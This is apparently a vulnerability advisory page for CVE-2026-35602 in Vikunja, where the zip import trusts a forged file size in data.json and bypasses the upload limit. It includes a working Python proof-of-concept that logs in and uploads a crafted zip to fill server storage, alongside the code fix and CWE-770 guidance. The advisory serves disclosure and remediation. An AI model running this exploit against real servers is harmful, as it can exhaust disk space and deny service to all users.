Skip to content

GHSA-qh78-rvg3-cv54 CVE-2026-35602 GO-2026-5582

Vikunja has File Size Limit Bypass via Vikunja Import

High Go
Severity
5.4 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.23% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-770 Allocation of Resources Without Limits or Throttling
Fix
2.3.0
Upgrade code.vikunja.io/api to this version or later

Description

Summary

The Vikunja file import endpoint uses the attacker-controlled Size field from the JSON metadata inside the import zip instead of the actual decompressed file content length for the file size enforcement check. By setting Size to 0 in the JSON while including large compressed file entries in the zip, an attacker bypasses the configured maximum file size limit.

Details

During import, the JSON metadata from data.json inside the zip archive is deserialized into project structures. File content is read independently from the zip entries. When creating attachments, the code at pkg/modules/migration/create_from_structure.go:406 passes the attacker-controlled File.Size from the JSON:

err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, a.File.Size, user)

The file size enforcement check at pkg/files/files.go:118 then evaluates this attacker-controlled value:

if realsize > config.GetMaxFileSizeInMBytes()*uint64(datasize.MB) && checkFileSizeLimit {

With Size set to 0 in the JSON, the comparison 0 > 20MB evaluates to false and the check passes. The actual file content (from the zip entry) can be up to 500MB per entry (the readZipEntry limit). Highly compressible content like zero-filled buffers achieves extreme compression ratios, allowing a small zip upload to store gigabytes of data.

Proof of Concept

Tested on Vikunja v2.2.2 with default max_file_size: 20MB.

import zipfile, io, json, requests

TARGET = "http://localhost:3456"
token = requests.post(f"{TARGET}/api/v1/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}"}

# Craft zip with forged Size=0 in JSON but 25MB actual content
large_content = b"A" * (25 * 1024 * 1024)  # 25MB
data = [{"title": "Project", "tasks": [{"title": "Task", "attachments": [{
    "file": {"name": "large.bin", "size": 0, "created": "2026-01-01T00:00:00Z"},
    "created": "2026-01-01T00:00:00Z"}]}]}]

zip_buf = io.BytesIO()
with zipfile.ZipFile(zip_buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr("VERSION", "2.2.2")
    zf.writestr("data.json", json.dumps(data))
    zf.writestr("large.bin", large_content)

resp = requests.put(f"{TARGET}/api/v1/migration/vikunja-file/migrate",
    headers=h,
    files={"import": ("export.zip", zip_buf.getvalue(), "application/zip")})

Output:

HTTP 200: {"message": "Everything was migrated successfully."}
25MB file stored despite 20MB server limit.

Impact

An authenticated user can exhaust server storage by uploading small compressed zip files that decompress into files exceeding the configured maximum file size limit. A single ~25KB upload can store ~25MB due to zip compression ratios. Repeated exploitation can fill the server's disk, causing denial of service for all users. No per-user storage quota exists to contain the impact.

Recommended Fix

Use the actual content length instead of the attacker-controlled Size field:

err = a.NewAttachment(s, bytes.NewReader(a.File.FileContent), a.File.Name, uint64(len(a.File.FileContent)), user)

Found and reported by aisafe.io

Affected versions

Go

PackageVulnerableFixed in
code.vikunja.io/api
< 2.3.0
2.3.0
code.vikunja.io/api
all versions
No fix yet

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

code.vikunja.io/api Go → 2.3.0

go
go get code.vikunja.io/api@v2.3.0 && go mod tidy

Severity breakdown

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-770: Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

How to prevent it
  • Requirements: Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
  • Architecture and Design: Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery. Ensure that all failures in resource allocation place the system into a safe posture.
  • Operation, Architecture and Design: Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems. When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users. Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-m687-p538-r5hp
Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted
Medium Also affects code.vikunja.io/api
GHSA-fmmf-xq98-g327
Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check
Medium Also affects code.vikunja.io/api
GHSA-pjr3-86v4-5p7w
Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0)
Medium Also affects code.vikunja.io/api
GHSA-hjx8-qv73-f7cm
Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed
High Also affects code.vikunja.io/api
GHSA-fprf-r6rv-xg99
Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants
Medium Also affects code.vikunja.io/api
GHSA-4hv6-xc92-j86g
Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes
High Also affects code.vikunja.io/api
GHSA-w2ch-4xgr-22ww
Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal
Low Also affects code.vikunja.io/api
GHSA-8wvg-r2j4-3737
Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint
Medium Also affects code.vikunja.io/api
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor